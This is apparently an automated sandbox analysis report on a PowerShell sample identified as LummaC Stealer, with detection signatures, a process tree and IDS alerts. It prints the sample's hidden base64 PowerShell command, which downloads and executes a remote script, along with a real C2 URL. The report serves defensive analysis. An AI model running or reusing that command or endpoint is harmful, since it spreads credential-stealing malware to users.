Edit tour

Windows Analysis Report
file.ps1

Overview

General Information

Sample name:	file.ps1
Analysis ID:	1565311
MD5:	c74ad6efc80928621318fb9d1253cd17
SHA1:	c9d41799c3df2706a5c59191093192e5dc6ab042
SHA256:	9103bed7236428941596f3084b43f72582f53f310647ade5eff3a79bfd73e4dc
Tags:	FakeCaptchaps1user-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to evade analysis by execution special instruction (VM detection)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6380 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1352 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

Setup.exe (PID: 7784 cmdline: "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)

Setup.exe (PID: 7904 cmdline: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe MD5: 7FB44C5BCA4226D8AAB7398E836807A2)

more.com (PID: 7928 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Setup.exe (PID: 2820 cmdline: "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)

Setup.exe (PID: 4676 cmdline: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe MD5: 7FB44C5BCA4226D8AAB7398E836807A2)

more.com (PID: 5492 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 5732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6664 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 6728 cmdline: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Setup.exe (PID: 3724 cmdline: "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://balloon-sneak.cyou/api", "Build Version": "MeHdy4--pl8vs07"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6380	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x53422:$b2: ::FromBase64String( 0x5357c:$b2: ::FromBase64String( 0x53922:$b2: ::FromBase64String( 0xdc200:$b2: ::FromBase64String( 0xde10a:$b2: ::FromBase64String( 0xde331:$b2: ::FromBase64String( 0xdec28:$b2: ::FromBase64String( 0xdecf6:$b2: ::FromBase64String( 0xdf98a:$b2: ::FromBase64String( 0xdfa6c:$b2: ::FromBase64String( 0x53408:$b3: ::UTF8.GetString( 0x53562:$b3: ::UTF8.GetString( 0x537ee:$b3: ::UTF8.GetString( 0x53908:$b3: ::UTF8.GetString( 0xdc1e6:$b3: ::UTF8.GetString( 0xde0f0:$b3: ::UTF8.GetString( 0xde317:$b3: ::UTF8.GetString( 0xdecdc:$b3: ::UTF8.GetString( 0xdf970:$b3: ::UTF8.GetString( 0xdfa52:$b3: ::UTF8.GetString( 0x7bb68:$s1: -join
Process Memory Space: powershell.exe PID: 1352	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9990:$b1: ::WriteAllBytes( 0x733e:$b2: ::FromBase64String( 0x995d:$b2: ::FromBase64String( 0x540d03:$b2: ::FromBase64String( 0x549388:$b2: ::FromBase64String( 0x125333b:$b2: ::FromBase64String( 0x1253447:$b2: ::FromBase64String( 0x1d34779:$b2: ::FromBase64String( 0x1d9076d:$b2: ::FromBase64String( 0x1d909d9:$b2: ::FromBase64String( 0x1e1df10:$b2: ::FromBase64String( 0x1e46e05:$b2: ::FromBase64String( 0x1e4704f:$b2: ::FromBase64String( 0x1e47ae8:$b2: ::FromBase64String( 0x1e47bf4:$b2: ::FromBase64String( 0x1e4a394:$b2: ::FromBase64String( 0x1e51a5f:$b2: ::FromBase64String( 0x1e51b6b:$b2: ::FromBase64String( 0x1ee7ead:$b2: ::FromBase64String( 0x2467f28:$b2: ::FromBase64String( 0x2468037:$b2: ::FromBase64String(
Process Memory Space: msiexec.exe PID: 6664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 6664	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: msiexec.exe PID: 6664	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6380, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex", ProcessId: 1352, ProcessName: powershell.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 6664, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", ProcessId: 6728, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 6664, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1", ProcessId: 6728, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", ProcessId: 6380, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1352, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetUtilityApp

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.67.170.85, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 6664, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49929

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1352, TargetFilename: C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1", ProcessId: 6380, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T15:47:13.580422+0100	2028371	3	Unknown Traffic	192.168.2.5	49929	172.67.170.85	443	TCP
2024-11-29T15:47:17.761768+0100	2028371	3	Unknown Traffic	192.168.2.5	49939	172.67.170.85	443	TCP
2024-11-29T15:47:22.061923+0100	2028371	3	Unknown Traffic	192.168.2.5	49949	172.67.170.85	443	TCP
2024-11-29T15:47:26.297441+0100	2028371	3	Unknown Traffic	192.168.2.5	49957	172.67.170.85	443	TCP
2024-11-29T15:47:30.438985+0100	2028371	3	Unknown Traffic	192.168.2.5	49968	172.67.170.85	443	TCP
2024-11-29T15:47:35.654094+0100	2028371	3	Unknown Traffic	192.168.2.5	49979	172.67.170.85	443	TCP
2024-11-29T15:47:40.763948+0100	2028371	3	Unknown Traffic	192.168.2.5	49982	172.67.170.85	443	TCP
2024-11-29T15:47:46.910763+0100	2028371	3	Unknown Traffic	192.168.2.5	49983	172.67.170.85	443	TCP
2024-11-29T15:47:51.091221+0100	2028371	3	Unknown Traffic	192.168.2.5	49984	104.26.3.16	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T15:47:16.244797+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49929	172.67.170.85	443	TCP
2024-11-29T15:47:20.415011+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49939	172.67.170.85	443	TCP
2024-11-29T15:47:49.550806+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49983	172.67.170.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T15:47:16.244797+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49929	172.67.170.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T15:47:20.415011+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49939	172.67.170.85	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T15:47:38.907707+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49979	172.67.170.85	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://sandisk2.oss-ap-northeast-2.aliyuncs.com/bUAmCazc.txt	Avira URL Cloud: Label: malware
Source: https://sandisk2.oss-ap-northeast-2.aliyuncs.com	Avira URL Cloud: Label: malware

Found malware configuration

Source: msiexec.exe.6664.14.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://balloon-sneak.cyou/api", "Build Version": "MeHdy4--pl8vs07"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nmovbfii

Joe Sandbox ML: detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 149.129.12.34:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.5:49984 version: TLS 1.2

Source:	Binary string: C:\Users\Mark\code\github\NAudio\NAudio\obj\Release\net35\NAudio.pdb source: powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\jenkins\workspace\dev\juno-win_live\build\cefSubProcess\pc64-vc-tool-opt\bin\EACefSubProcess.pdb source: Updater.ex.3.dr
Source:	Binary string: wntdll.pdbUGP source: Setup.exe, 00000006.00000002.2970388187.0000000003110000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2971296166.00000000034C9000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970257137.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175900887.0000000003660000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175553724.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175702033.00000000032B0000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.3332789986.0000000004216000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333182745.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737364278.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737703212.0000000004560000.00000004.00001000.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352533865.0000000002D37000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352681787.0000000003090000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Setup.exe, 00000006.00000002.2970388187.0000000003110000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2971296166.00000000034C9000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970257137.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175900887.0000000003660000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175553724.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175702033.00000000032B0000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.3332789986.0000000004216000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333182745.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737364278.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737703212.0000000004560000.00000004.00001000.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352533865.0000000002D37000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352681787.0000000003090000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Mark\code\github\NAudio\NAudio\obj\Release\net35\NAudio.pdbSHA256do source: powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-x64-cygwin-sans-NAS\jdk8u381\237\build\windows-x64\jdk\objs\javaw_objs\javaw.pdb source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 00000007.00000000.2964764533.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 0000000B.00000000.3170750084.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C271F90 FindFirstFileExW,	7_2_00007FF70C271F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C257A9C FindFirstFileA,FindNextFileA,FindClose,	7_2_00007FF70C257A9C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB1F90 FindFirstFileExW,	11_2_00007FF7AEEB1F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE97A9C FindFirstFileA,FindNextFileA,FindClose,	11_2_00007FF7AEE97A9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49929 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49929 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49939 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49939 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49979 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49983 -> 172.67.170.85:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://balloon-sneak.cyou/api

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: rentry.co

Source: Joe Sandbox View

IP Address: 104.26.3.16 104.26.3.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49929 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49939 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49949 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49957 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49979 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49982 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49968 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49983 -> 172.67.170.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 104.26.3.16:443

Source: global traffic	HTTP traffic detected: GET /bUAmCazc.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sandisk2.oss-ap-northeast-2.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: balloon-sneak.cyou
